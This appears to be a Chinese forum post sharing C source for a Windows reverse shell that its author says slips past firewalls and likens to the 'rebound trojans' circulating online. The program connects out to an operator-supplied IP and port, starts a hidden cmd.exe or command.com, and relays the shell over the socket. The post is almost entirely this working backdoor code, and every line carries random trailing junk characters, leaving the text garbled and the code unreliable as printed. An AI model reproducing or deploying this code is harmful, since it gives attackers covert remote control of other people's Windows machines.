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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2/))Y\~  
'O 7>w%#  
/* ============================== i_y%HG  
Rebound port in Windows NT n&Q0V.  
By wind,2006/7 DRVvC~M-,  
===============================*/ q:wz!~(>  
#include (AG((eV  
#include &jrc]  
#A~7rH%hi  
#pragma comment(lib,"wsock32.lib") 5sB~.z@  
nx!+: P ,  
void OutputShell(); T#}"?A|  
SOCKET sClient; |lIgvHgg  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; NiVZ=wEp,  
5z.Y}  
void main(int argc,char **argv) a3[,3  
{ Eh *u6K)Z  
WSADATA stWsaData; \h}sA  
int nRet; ?%T]V+40  
SOCKADDR_IN stSaiClient,stSaiServer; d(vt0  
,W$&OD  
if(argc != 3) =+4om*  
{ CE4Kc33OU|  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1_mqPMm  
return; 8%Ak   
} |QyZ:`0u  
h.xtkD)Y~  
WSAStartup(MAKEWORD(2,2),&stWsaData); cf\GC2+"^$  
] $F%  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AI$\wp#aw  
[1e/@eC5  
stSaiClient.sin_family = AF_INET; BtF7P}:MGf  
stSaiClient.sin_port = htons(0); `nd$6i^#W  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s+0S,?{$  
"Qk)EY  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j 9f QV  
{ "i%=QON`  
printf("Bind Socket Failed!\n"); HC$}KoZkC  
return; ,C^u8Z|T  
} Z>.('  
g T0@pxl  
stSaiServer.sin_family = AF_INET; X|Nb8 1M  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); LO,:k+&A+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); LoO"d'{  
 {T5u"U4  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }gQnr;lv  
{ $F@ ,,*  
printf("Connect Error!"); 5"L.C32  
return; QOv@rP/  
} w*7wSP  
OutputShell(); Dd:48sN:Jq  
} i@ehD@.dH  
 ^5R2~  
void OutputShell() R E9 `T  
{  %d0BQ|  
char szBuff[1024]; Ee{Y1W  
SECURITY_ATTRIBUTES stSecurityAttributes; rDLgQ{Sea  
OSVERSIONINFO stOsversionInfo; =GC,1WVEqV  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :f0#4'f  
STARTUPINFO stStartupInfo; cE*d(g  
char *szShell; 'Z6x\p  
PROCESS_INFORMATION stProcessInformation; gAK"ShOhG=  
unsigned long lBytesRead; v+DXs!O{  
NqN}] nu6  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gq.l=xS  
WS\Ir-B  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S3y(' PeF  
stSecurityAttributes.lpSecurityDescriptor = 0; o}Q3mCB  
stSecurityAttributes.bInheritHandle = TRUE; *dx E (dP  
6&"GTK  
pE{Ecrc3|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B# o6UO\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $g }aH(vf  
V17!~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =DXN`]uN  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4 udW 6U  
stStartupInfo.wShowWindow = SW_HIDE;  qy/t<2'  
stStartupInfo.hStdInput = hReadPipe; Wfsd$kN6{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; be HEAQ  
d_Z?i#r0l  
GetVersionEx(&stOsversionInfo); &[5pR60  
;esOe\z jE  
switch(stOsversionInfo.dwPlatformId) HDj260a  
{ a-NicjV#  
case 1: YLb$/6gj6  
szShell = "command.com"; 8-x)8B  
break; Bk/&H-NI  
default:  ^]?ju L  
szShell = "cmd.exe"; 2k^'}7G%  
break; |Zdl[|kX  
} [G"Va_A8  
5Rae?* XH  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yVyh\u\  
e. R9:  
send(sClient,szMsg,77,0); aqv'c j>  
while(1) #@P0i^pFTB  
{ nPUD6<bF  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eaDG7+iS  
if(lBytesRead) NJg )S2]7  
{ BCh|^Pk  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); k\-h-0[|  
send(sClient,szBuff,lBytesRead,0); 0@Z}.k30  
} !gJw?(8"  
else _P*QX  
{ m"wP]OQH*+  
lBytesRead=recv(sClient,szBuff,1024,0); tN z(s)  
if(lBytesRead<=0) break; _IWLC{%V  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Cl!9/l?z  
} Yh; A)N p  
} 664D5f#EJ  
~nApRC)0  
return; `yO'-(@"gY  
}
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